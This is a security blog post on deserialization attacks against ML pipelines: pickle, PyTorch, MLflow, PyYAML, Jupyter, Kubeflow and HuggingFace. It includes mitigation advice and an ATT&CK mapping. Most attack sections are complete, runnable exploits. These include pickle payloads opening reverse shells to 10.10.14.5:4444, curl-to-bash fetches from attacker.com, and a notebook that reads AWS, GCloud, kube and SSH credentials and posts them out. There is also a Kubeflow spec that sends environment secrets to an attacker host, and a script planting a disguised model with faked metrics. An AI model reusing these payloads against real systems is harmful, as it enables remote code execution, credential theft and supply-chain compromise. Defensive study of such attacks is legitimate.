Back to Blog
Cloud IAM Security

Exploiting Insecure Deserialization in ML Pipeline Frameworks

OffSec Research Team
10 June 2026 • 09:00 AM16 min
Exploiting Insecure Deserialization in ML Pipeline Frameworks
TL;DR — Machine learning pipelines routinely deserialize model files using Python's pickle module, PyYAML, and similar unsafe mechanisms, creating remote code execution opportunities whenever an attacker can influence which file gets loaded. From MLflow tracking servers serving poisoned model artifacts to HuggingFace Hub supply-chain attacks via from_pretrained(), the attack surface is broad and largely underappreciated by data science teams who treat model files as inert data.

Executive Summary

The modern machine learning stack is a sprawling ecosystem of serialization formats, each carrying its own trust assumptions and attack surface. Data scientists routinely torch.load() models from the internet, invoke yaml.load() on configuration files from untrusted sources, and spin up MLflow tracking servers without authentication — all while treating the resulting artifacts as benign data rather than executable code.

Deserialization vulnerabilities in ML pipelines are particularly dangerous for several interconnected reasons. First, the attack surface is enormous: a single research team may load dozens of pre-trained models per week from public repositories. Second, the payoff for an attacker is immediate and severe — arbitrary code execution in the context of a privileged data-science workstation or cloud training node. Third, the cultural gap between security practitioners and ML engineers means that defenses like pickle allowlisting and model signing are rarely implemented.

This post traces the full attack surface from first principles. We begin with the __reduce__ method in Python's pickle protocol, then show how this applies to MLflow model artifacts, PyTorch .pt files, and PyYAML configuration gadgets. We examine how Jupyter notebooks can carry executable payloads in their metadata, how Kubeflow Pipeline component specs can be weaponized, and how the HuggingFace Hub represents a massive supply-chain risk. Throughout, we contrast each vulnerable pattern with its safer alternative and provide concrete detection and mitigation guidance.

The techniques described here are consistent with real-world supply-chain campaigns. Researchers have documented malicious models on public repositories that execute OS commands on load. The tooling to exploit these vectors is trivial; the only thing standing between an attacker and a data scientist's training environment is the victim's (often misplaced) trust in a downloaded file.


Background: ML Serialization Formats and Their Trust Models

The Serialization Landscape

ML pipelines consume and produce serialized artifacts at every stage of the lifecycle:

FormatPrimary UseSerialization MechanismSafe by Default?
Python picklescikit-learn, general Python objectsArbitrary Python opcodesNo
PyTorch .pt / .pthPyTorch model weights + architecturepickle under the hoodNo
ONNXCross-framework model exchangeProtobufYes (no code exec)
HDF5 / .h5Keras/TF weightsHDF5 binary formatYes (weights only)
SafeTensorsHuggingFace weightsFlat binary, zero-copyYes (by design)
YAMLConfiguration (Hydra, OmegaConf)YAML spec with type tagsNo (without safe_load)
JSONREST APIs, metadataJSON specYes
ONNX RuntimeInferenceProtobufYes

The critical insight is that formats capable of representing arbitrary Python objects — primarily pickle and unconstrained YAML — are inherently code-execution capable. Treating these files as data is a category error.

The Trust Gap in Practice

A typical ML workflow might look like this:

diagram — rendering…
flowchart TD
    A[Data Scientist downloads model] --> B[torch.load model.pt]
    B --> C[pickle.loads called internally]
    C --> D{Malicious __reduce__?}
    D -->|Yes| E[OS Command Executed]
    D -->|No| F[Model loads normally]
    E --> G[Attacker RCE on training node]
    G --> H[Lateral movement to cloud training cluster]
    H --> I[Data exfiltration / cryptominer]
    
    style E fill:#ff4444,color:#fff
    style G fill:#ff4444,color:#fff
    style H fill:#ff6600,color:#fff
    style I fill:#ff6600,color:#fff

Pickle RCE: The __reduce__ Method Override

How Python Pickle Deserializes Objects

Python's pickle module serializes objects by encoding a sequence of opcodes that, when executed by the Unpickler, reconstruct the original object. The __reduce__ method on a class tells pickle how to recreate an instance. When __reduce__ returns a callable and its arguments, pickle will invoke that callable during deserialization.

This is not a bug in pickle — it is a documented feature. The pickle documentation explicitly states: "The pickle module is not secure. Only unpickle data you trust." The problem is that this warning is routinely ignored.

Classic Pickle Exploit

The following demonstrates a malicious pickle payload that executes an OS command when deserialized. This is a complete, working exploit:

python
import pickleimport osimport base64 class MaliciousPayload:    """    A pickle payload that executes arbitrary OS commands on deserialization.    The __reduce__ method instructs the Unpickler to call os.system    with our command string as the argument.    """    def __init__(self, command: str):        self.command = command     def __reduce__(self):        # pickle will call: os.system(self.command)        # when this object is deserialized        return (os.system, (self.command,))  def create_malicious_pickle(command: str) -> bytes:    """Serialize a malicious payload to bytes."""    payload = MaliciousPayload(command)    return pickle.dumps(payload)  def create_malicious_model_file(    output_path: str,    command: str = "curl http://attacker.com/beacon | sh"):    """    Create a .pkl file that masquerades as an ML model but    executes a command when loaded.    """    payload_bytes = create_malicious_pickle(command)     # Write disguised as a scikit-learn model    with open(output_path, 'wb') as f:        f.write(payload_bytes)    print(f"[+] Malicious model written to {output_path}")    print(f"[+] Command on load: {command}")  # Proof-of-concept: generate the payloadif __name__ == "__main__":    # Generate a reverse shell payload    reverse_shell_cmd = (        "python3 -c 'import socket,subprocess,os;"        "s=socket.socket();s.connect((\"10.10.14.5\",4444));"        "os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);"        "os.dup2(s.fileno(),2);"        "subprocess.call([\"/bin/sh\",\"-i\"])'"    )     create_malicious_model_file("model.pkl", reverse_shell_cmd)     # Victim-side: loading this file triggers execution    # victim_code = pickle.load(open("model.pkl", "rb"))    # Execution happens at the pickle.load() call above

Weaponized Pickle with Fake Model Metadata

A more sophisticated attacker embeds the malicious payload inside a file that appears legitimate — including a valid scikit-learn model object after the payload fires:

python
import pickleimport osimport sklearnfrom sklearn.linear_model import LogisticRegressionimport numpy as np class PickleExploit:    """Executes command then returns a legitimate-looking model."""        def __init__(self, c2_ip: str, c2_port: int):        self.c2_ip = c2_ip        self.c2_port = c2_port     def __reduce__(self):        # Use a multi-step payload via subprocess for stealth        cmd = (            f"python3 -c \"import socket,os,pty;"            f"s=socket.socket();"            f"s.connect(('{self.c2_ip}',{self.c2_port}));"            f"[os.dup2(s.fileno(),fd) for fd in (0,1,2)];"            f"pty.spawn('/bin/bash')\""        )        return (os.system, (cmd,))  def build_trojanized_model(output_path: str):    """    Stage 1: embed exploit.    After deserialization, the caller gets an exception (or None from os.system)    but the shell is already open.    """    exploit = PickleExploit("10.10.14.5", 4444)        with open(output_path, 'wb') as f:        pickle.dump(exploit, f)        print(f"[+] Trojanized model saved: {output_path}")  build_trojanized_model("classifier.pkl")

MLflow Attack Surface

MLflow Architecture and Model Storage

MLflow is the dominant open-source platform for ML experiment tracking. It exposes a REST API (default port 5000, typically unauthenticated), stores model artifacts in a configured backend (local filesystem, S3, Azure Blob, GCS), and uses a custom MLmodel YAML manifest to describe stored models.

Critically, the Python-flavor MLflow model format stores model.pkl — a raw pickle file — as the primary artifact. When a user calls mlflow.pyfunc.load_model(), MLflow downloads and unpickles this file.

Attacking the MLflow Tracking Server

An attacker with network access to an unauthenticated MLflow tracking server can register a malicious model:

python
import mlflowimport mlflow.pyfuncimport pickleimport os # Point to the target MLflow server (often unauthenticated on internal networks)MLFLOW_TRACKING_URI = "http://internal-mlflow.corp.example.com:5000"mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)  class MaliciousModel(mlflow.pyfunc.PythonModel):    """    A fake MLflow model that executes a command when loaded.    MLflow will pickle this object; __reduce__ fires on load.    """        def __reduce__(self):        cmd = "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"        return (os.system, (cmd,))        def predict(self, context, model_input):        # This never runs — __reduce__ fires first        pass  def register_malicious_mlflow_model(experiment_name: str = "production-classifier"):    """    Register a malicious model that will execute code when any user    calls mlflow.pyfunc.load_model() on it.    """    mlflow.set_experiment(experiment_name)        with mlflow.start_run(run_name="v2.1-optimized"):        malicious_model = MaliciousModel()                # Log the model — MLflow pickles it and stores as model.pkl        mlflow.pyfunc.log_model(            artifact_path="model",            python_model=malicious_model,        )                # Log convincing metrics to avoid suspicion        mlflow.log_metric("accuracy", 0.9847)        mlflow.log_metric("f1_score", 0.9801)        mlflow.log_param("algorithm", "gradient_boosting")                run_id = mlflow.active_run().info.run_id        print(f"[+] Malicious model registered. Run ID: {run_id}")        print(f"[+] Victim loads with: mlflow.pyfunc.load_model('runs:/{run_id}/model')")                return run_id

The Victim Workflow

When a legitimate data scientist or automated pipeline loads the model:

python
# On victim's machine — this triggers RCEimport mlflow.pyfunc model = mlflow.pyfunc.load_model("runs:/abc123.../model")# Shell connects back to attacker's listener before this line returns

PyTorch Model Serialization

torch.load() and the Pickle Backend

PyTorch's torch.load() function uses pickle by default for deserializing model files. Any .pt or .pth file can contain arbitrary pickle opcodes that execute on load.

python
import torchimport pickleimport osimport io class TorchPayload:    """Payload that fires when torch.load() deserializes the file."""        def __reduce__(self):        # Execute a command that beacons home and installs a persistence implant        commands = [            "curl -s http://attacker.com/implant.sh | bash",        ]        return (os.system, (" && ".join(commands),))  def create_malicious_torch_model(output_path: str):    """    Create a .pt file that masquerades as a PyTorch model.    torch.load() will unpickle this and execute the payload.    """    payload = TorchPayload()        # torch.save uses pickle.dump internally    torch.save(payload, output_path)    print(f"[+] Malicious PyTorch model: {output_path}")    print(f"[!] Any torch.load('{output_path}') will trigger RCE")  # On the victim side, the attack triggers here:# model = torch.load("model.pt")             # VULNERABLE# model = torch.load("model.pt", map_location="cpu")  # ALSO VULNERABLE # Safe alternative:# model = torch.load("model.pt", weights_only=True)  # Safe in PyTorch 2.0+# Or use safetensors:# from safetensors.torch import load_file# state_dict = load_file("model.safetensors")  # No code execution possible

SafeTensors as the Safe Alternative

The safetensors library was developed specifically to address pickle-based model loading risks. It stores only tensor data in a flat binary format with no support for arbitrary Python object serialization:

Featuretorch.load() (pickle)safetensors.load_file()
Code execution riskYes — arbitrary pickle opcodesNo — tensors only
Zero-copy mmap supportNoYes
Cross-language compatibilityPython onlyPython, Rust, C++, JavaScript
Header validationNoneValidates metadata before data
Lazy loadingNoYes
Backwards compatibilityFull Python object graphTensors + metadata only

YAML Deserialization Gadgets

PyYAML Unsafe Load

PyYAML's yaml.load() without a Loader argument (or with Loader=yaml.Loader) supports YAML type tags including !!python/object/apply, which calls an arbitrary Python callable with provided arguments:

python
import yamlimport subprocess # Attacker-controlled YAML config file contentmalicious_yaml = """# Hydra configuration file - model training parameterstraining:  epochs: 100  learning_rate: 0.001  batch_size: 32  # Malicious gadget embedded in configurationpayload: !!python/object/apply:subprocess.check_output  - ['bash', '-c', 'curl http://attacker.com/payload | bash']""" # Victim code (common in ML training scripts using Hydra/OmegaConf)def load_config_unsafe(config_path: str) -> dict:    """This pattern is extremely common in ML codebases."""    with open(config_path, 'r') as f:        # yaml.load without Loader= executes the !!python/object/apply gadget        config = yaml.load(f, Loader=yaml.Loader)  # VULNERABLE    return config  def load_config_safe(config_path: str) -> dict:    """Safe alternative — yaml.safe_load only handles standard YAML types."""    with open(config_path, 'r') as f:        config = yaml.safe_load(f)  # Safe — no arbitrary type tags    return config  # More sophisticated YAML payload targeting Hydra config fileshydra_payload = """defaults:  - model: transformer  - dataset: imagenet _target_: !!python/object/apply:os.system  - 'id > /tmp/pwned && cat /tmp/pwned | curl -d @- http://attacker.com/collect' model:  hidden_size: 768  num_layers: 12"""

Jupyter Notebook RCE

Notebook Format and Auto-Execution

Jupyter notebooks (.ipynb) are JSON files containing cell source code. When opened in JupyterLab or VS Code, cells can be configured to auto-run. Beyond that, malicious actors have discovered several injection vectors in the notebook metadata and cell outputs.

python
import json # A malicious notebook that executes on open# This exploits VS Code's Jupyter extension auto-run behavior# and JupyterLab's metadata execution features malicious_notebook = {    "nbformat": 4,    "nbformat_minor": 5,    "metadata": {        "kernelspec": {            "display_name": "Python 3",            "language": "python",            "name": "python3"        },        # VS Code Jupyter extension executes 'startup' cells automatically        "jupyter": {            "run_on_load": True        }    },    "cells": [        {            "cell_type": "code",            "execution_count": None,            "metadata": {                # 'trusted' flag bypasses some safety checks in classic Jupyter                "trusted": True,                # Some extensions treat 'init_cell' as auto-run                "init_cell": True,                "tags": ["parameters"]            },            "outputs": [],            "source": [                "import os\n",                "import urllib.request\n",                "\n",                "# This executes when the notebook is opened\n",                "os.system('curl -s http://attacker.com/notebook-beacon')\n",                "\n",                "# Harvest credentials from common locations\n",                "creds = []\n",                "for f in ['~/.aws/credentials', '~/.config/gcloud/credentials.db',\n",                "          '~/.kube/config', '~/.ssh/id_rsa']:\n",                "    try:\n",                "        expanded = os.path.expanduser(f)\n",                "        if os.path.exists(expanded):\n",                "            with open(expanded) as fh:\n",                "                creds.append({'file': f, 'content': fh.read()})\n",                "    except: pass\n",                "\n",                "# Exfiltrate to attacker\n",                "import urllib.request, json\n",                "data = json.dumps(creds).encode()\n",                "req = urllib.request.Request('http://attacker.com/collect',\n",                "    data=data, method='POST')\n",                "urllib.request.urlopen(req)\n",            ]        }    ]} # Write the malicious notebookwith open("research_notebook.ipynb", "w") as f:    json.dump(malicious_notebook, f, indent=2) print("[+] Malicious notebook written. Executes on open in VS Code/JupyterLab.")

Kubeflow Pipeline Exploitation

Pipeline Component Specification Injection

Kubeflow Pipelines define components via YAML specs that include container images, commands, and arguments. A compromised component spec or registry can inject malicious container images into production ML workflows:

yaml
# Malicious Kubeflow component spec# Appears to be a legitimate data preprocessing componentname: Data Preprocessordescription: Preprocesses raw training data for model training inputs:  - name: input_data_path    type: String  - name: output_path    type: String implementation:  container:    # Attacker substitutes legitimate image with backdoored one    image: attacker-registry.io/ml-tools/preprocessor:latest    command:      - sh      - -c      - |        # First, exfiltrate environment (contains cloud credentials)        env | curl -d @- http://attacker.com/env-dump        # Then exec the real preprocessing to avoid detection        python /app/preprocess.py --input {inputValue: input_data_path} \          --output {outputValue: output_path}    args:      - --input      - {inputValue: input_data_path}      - --output      - {outputValue: output_path}

HuggingFace Hub Supply Chain Attacks

The Attack Surface

HuggingFace Hub hosts hundreds of thousands of models, many loaded via from_pretrained(). By default, from_pretrained() downloads and unpickles model files from the repository. An attacker who can upload a model (requiring only a free account) can serve malicious pickle payloads to any user who loads that model.

python
from transformers import AutoModelimport pickleimport os # Attacker creates a malicious model repository# The config.json looks legitimate; model.bin is a pickle payload class MaliciousTransformerPayload:    """    Embedded in model.bin — executes when AutoModel.from_pretrained()    tries to load the model weights.    """    def __reduce__(self):        # Establish persistence and beacon home        cmds = ";".join([            "mkdir -p ~/.local/lib/python-site",            "curl -s http://attacker.com/persist.py > ~/.local/lib/python-site/sitecustomize.py",            "curl -s http://attacker.com/beacon -d $(hostname)",        ])        return (os.system, (cmds,))  # On victim's machine:# model = AutoModel.from_pretrained("legitimate-looking-org/bert-base-pretrained")# ^ This triggers RCE if model.bin contains the malicious payload # Safe alternative — use safetensors-only models and pin revisions:# model = AutoModel.from_pretrained(#     "bert-base-uncased",#     revision="e2da8e2f811d1448a5b465c236feacd80ffbac7b",  # pin to commit SHA#     use_safetensors=True  # reject any pickle-based weight files# )

Detection and Mitigation

Pickle Allowlisting with Custom Unpickler

python
import pickleimport iofrom typing import Any # Define an allowlist of safe classes for ML model loadingSAFE_CLASSES = {    'sklearn.linear_model._logistic': {'LogisticRegression'},    'sklearn.ensemble._forest': {'RandomForestClassifier'},    'numpy': {'ndarray', 'dtype'},    'numpy.core.multiarray': {'_reconstruct', 'scalar'},    'builtins': {'object'},} class RestrictedUnpickler(pickle.Unpickler):    """    A restricted Unpickler that only allows deserialization of    explicitly allowlisted classes. Blocks arbitrary code execution    via __reduce__ by raising an error for unknown classes.    """        def find_class(self, module: str, name: str) -> Any:        allowed_names = SAFE_CLASSES.get(module, set())        if name in allowed_names:            return super().find_class(module, name)        raise pickle.UnpicklingError(            f"Blocked deserialization of {module}.{name} — "            f"not in allowlist. Possible malicious payload."        )  def safe_load_model(model_path: str) -> Any:    """Load a pickle model with class allowlisting."""    with open(model_path, 'rb') as f:        data = f.read()        unpickler = RestrictedUnpickler(io.BytesIO(data))    try:        return unpickler.load()    except pickle.UnpicklingError as e:        print(f"[SECURITY] Blocked malicious pickle: {e}")        raise

Mitigation Summary

Attack VectorPrimary MitigationSecondary Control
pickle.load()Custom Unpickler allowlistIsolated sandbox environment
torch.load()weights_only=True or safetensorsSignature verification
PyYAMLyaml.safe_load() alwaysSchema validation
MLflow modelsNetwork-level authenticationModel signing with Sigstore
HuggingFaceuse_safetensors=True, pinned revisionPrivate hub with scanning
Jupyter notebooksDisable auto-run, code reviewSandboxed execution
Kubeflow componentsContainer image signing (Cosign)Immutable image tags

MITRE ATT&CK Mapping

Technique IDTechnique NameApplication in ML Pipeline Attacks
T1195.002Supply Chain Compromise: Compromise Software Supply ChainMalicious models uploaded to HuggingFace Hub, PyPI packages with poisoned dependencies
T1059.006Command and Scripting Interpreter: PythonPickle __reduce__, PyYAML gadgets, and notebook cells all execute Python to achieve RCE
T1566PhishingDistributing malicious model files via email, Slack, or GitHub PRs to targeted ML engineers
T1204.002User Execution: Malicious FileVictim must load the model file — social engineering targets researchers eager to use a new model
T1053.003Scheduled Task/Job: CronPersistence via Python sitecustomize.py or cron jobs planted after initial RCE
T1119Automated CollectionNotebooks and pickle payloads that harvest ~/.aws/credentials, ~/.kube/config, SSH keys
T1071.001Application Layer Protocol: Web ProtocolsExfiltration via HTTP callbacks in pickle payloads and notebook cells
T1610Deploy ContainerKubeflow component injection replaces legitimate container images with attacker-controlled ones

Conclusion

The insecure deserialization problem in ML pipelines is not a theoretical concern — it is actively exploited by supply-chain attackers who understand that data scientists have high trust in artifacts sourced from public repositories and that the security posture of ML infrastructure is typically far weaker than that of traditional application stacks. The combination of pickle's arbitrary code execution capability, the cultural habit of loading models from the internet without verification, and the privileged cloud environments where ML training occurs creates a perfect storm.

The path forward requires treating model files with the same suspicion as executable code. This means migrating to safetensors wherever possible, enforcing yaml.safe_load() as a linting rule, deploying custom Unpickler allowlists for legacy pickle consumers, and implementing model signing in CI/CD pipelines before artifacts are promoted to production. MLflow and Kubeflow deployments must require authentication and enforce network segmentation. Jupyter environments should run in isolated containers with no access to production cloud credentials.

The security community must bridge the gap to ML practitioners — these are not obscure technical edge cases but fundamental properties of the serialization formats at the heart of every ML pipeline.